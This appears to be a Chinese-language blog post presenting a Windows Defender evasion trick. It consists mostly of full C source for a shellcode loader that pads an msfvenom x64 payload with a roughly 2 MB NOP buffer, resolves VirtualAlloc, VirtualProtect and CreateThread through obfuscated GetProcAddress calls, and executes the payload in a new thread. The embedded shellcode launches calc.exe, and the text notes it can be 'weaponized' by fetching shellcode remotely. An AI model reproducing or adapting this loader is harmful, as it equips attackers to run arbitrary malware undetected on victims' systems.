[TOC]

2022年底国外技术人员发现的技巧,在内存中分配一个大的堆栈,defender就检测不了了。

测试用的是x64 metasploit 生成的 calc,原文中是硬编码栈内容,生成非常大。下面的代码时创建一个动态数组,将shellcode放到数组末尾,武器化可以远程拉取shellcode。

visual studio编译需要设置字符集为多字节、堆栈提交大小为200000,堆栈大小可以自己定义

visual studio

修改后的完整代码:

#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <random>

typedef LPVOID (WINAPI* VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI* VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI* CreateThread_t)(LPSECURITY_ATTRIBUTES   lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);

unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sVirtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0x0 };
unsigned char sCreateThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d',0x0, };

#define STACKSIZE 2000000

int main (VOID) {
    //msfvenom calc payload
    // msfvenom --platform windows --arch x64  -p windows/x64/exec CMD=calc.exe -b '\x00\x0A\x0D' -f exe -o a.exe
    unsigned char calcPayload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 };
    size_t calcPayload_len = sizeof (calcPayload);

    unsigned char* finalPayload;
    int finalPayloadLen = calcPayload_len + STACKSIZE;
    finalPayload = (unsigned char*)malloc ((finalPayloadLen) * sizeof (char));
    if( finalPayload == NULL )
    {
        return -1;
    }
    memset (finalPayload, '\x90', finalPayloadLen);
    for( size_t i = STACKSIZE; i < finalPayloadLen; i++ )
    {
        *(finalPayload + i) = *(calcPayload + i - STACKSIZE);
    }

    void* exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    //function pointers
    VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t)GetProcAddress
    (
        GetModuleHandle ((LPCSTR)"KErnEl32.DLl"),
        (LPCSTR)sVirtualAlloc
    );
    VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)GetProcAddress
    (
        GetModuleHandle ((LPCSTR)"kErnEl32.DLl"),
        (LPCSTR)sVirtualProtect
    );
    CreateThread_t CreateThread_p = (CreateThread_t)GetProcAddress
    (GetModuleHandle ((LPCSTR)"kERnEl32.DLl"),
     (LPCSTR)sCreateThread
    );

    printf("payload length: %d\n", finalPayloadLen);
    // Allocate a memory buffer for payload
    exec_mem = VirtualAlloc_p (NULL, finalPayloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if( exec_mem == 0 ) {
        printf("%d\n", GetLastError());
    }

    // Copy payload to program memory ; this gets inlined
    RtlMoveMemory (exec_mem, finalPayload, finalPayloadLen);

    // Make payload executable
    rv = VirtualProtect_p (exec_mem, finalPayloadLen, PAGE_EXECUTE_READ, &oldprotect);

    // Run payload
    if( rv != 0 ) {
        th = CreateThread_p (0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject (th, INFINITE);
        free (finalPayload);
    }

    return 0;
}